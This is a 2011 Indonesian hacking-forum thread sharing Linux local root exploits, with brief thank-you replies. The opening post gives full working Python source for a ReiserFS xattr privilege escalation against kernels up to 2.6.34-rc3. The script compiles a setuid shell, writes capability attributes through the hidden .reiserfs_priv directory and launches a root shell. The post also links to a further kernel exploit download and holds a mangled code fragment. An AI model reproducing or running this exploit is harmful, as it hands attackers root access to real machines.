Home General Computer Multimedia Business Lounge
|
local root kernel versions 2010
|
|
01-21-2011, 02:21 PM
(This post was last modified: 01-21-2011 02:28 PM by supermenganteng.)
|
|||
|
|||
|
local root kernel versions 2010
local root 2.6.34 2010
Code: #!/usr/bin/env python ''' team-edward.py Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation Jon Oberheide <jon@oberheide.org> http://jon.oberheide.org Information: https://bugzilla.redhat.com/show_bug.cgi?id=568041 The kernel allows processes to access the internal ".reiserfs_priv" directory at the top of a reiserfs filesystem which is used to store xattrs. Permissions are not enforced in that tree, so unprivileged users can view and potentially modify the xattrs on arbitrary files. Usage: $ python team-edward.py [+] checking for reiserfs mount with user_xattr mount option [+] checking for private xattrs directory at /.reiserfs_priv/xattrs [+] preparing shell in /tmp [+] capturing pre-shell snapshot of private xattrs directory [+] compiling shell in /tmp [+] setting dummy xattr to get reiserfs object id [+] capturing post-shell snapshot of private xattrs directory [+] found 1 new object ids [+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468 [+] spawning setuid shell... # id uid=0(root) gid=0(root) groups=4(adm), ... Notes: Obviously requires a ReiserFS filesystem mounted with extended attributes. Tested on Ubuntu Jaunty 9.10. ''' import os, sys SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }' XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' def err(txt): print '[-] error: %s' % txt sys.exit(1) def msg(txt): print '[+] %s' % txt def main(): msg('checking for reiserfs mount with user_xattr mount option') f = open('/etc/fstab') for line in f: if 'reiserfs' in line and 'user_xattr' in line: break else: err('failed to find a reiserfs mount with user_xattr') f.close() msg('checking for private xattrs directory at /.reiserfs_priv/xattrs') if not os.path.exists('/.reiserfs_priv/xattrs'): err('failed to locate private xattrs directory') msg('preparing shell in /tmp') f = open('/tmp/team-edward.c', 'w') f.write(SHELL) f.close() msg('capturing pre-shell snapshot of private xattrs directory') pre = set(os.listdir('/.reiserfs_priv/xattrs')) msg('compiling shell in /tmp') ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward') if ret != 0: err('error compiling shell, you need gcc') msg('setting dummy xattr to get reiserfs object id') os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward') if ret != 0: err('error setting xattr, you need setfattr') msg('capturing post-shell snapshot of private xattrs directory') post = set(os.listdir('/.reiserfs_priv/xattrs')) objs = post.difference(pre) msg('found %s new object ids' % len(objs)) for obj in objs: msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj) f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w') f.write(XATTR) f.close() msg('spawning setuid shell...') os.system('/tmp/team-edward') if __name__ == '__main__': main()local root for 2.6.13 2010 Code: #include asmunistd.hLinux Kernel 2.6.27+ x86_64 compat exploit http://www.exploit-db.com/download/15024 |
|||
|
01-21-2011, 02:43 PM
|
|||
|
|||
|
RE: local root kernel versions 2010
gw sebenernya males coment ti kalo lo yg posting
tapi gapapa lah itung2 amal Nice info gan |
|||
|
01-21-2011, 02:45 PM
|
|||
|
|||
| RE: local root kernel versions 2010 | |||
|
01-21-2011, 02:53 PM
|
|||
|
|||
| RE: local root kernel versions 2010 | |||
|
01-21-2011, 03:08 PM
|
|||
|
|||
|
RE: local root kernel versions 2010
gw dewa bang
|
|||
|
01-21-2011, 03:27 PM
|
|||
|
|||
| RE: local root kernel versions 2010 | |||
|
01-21-2011, 04:41 PM
|
|||
|
|||
|
RE: local root kernel versions 2010
dicoba dlu ah...
tpi sayangnya wa gk ngerti wkawka.. |
|||
|
01-21-2011, 07:12 PM
|
|||
|
|||
|
RE: local root kernel versions 2010
Nice share gan..
|
|||
|
« Next Oldest | Next Newest »
|
| Topic Tools | ||||||
| ||||||
| Users Browsing |
| 1 Guest(s) |














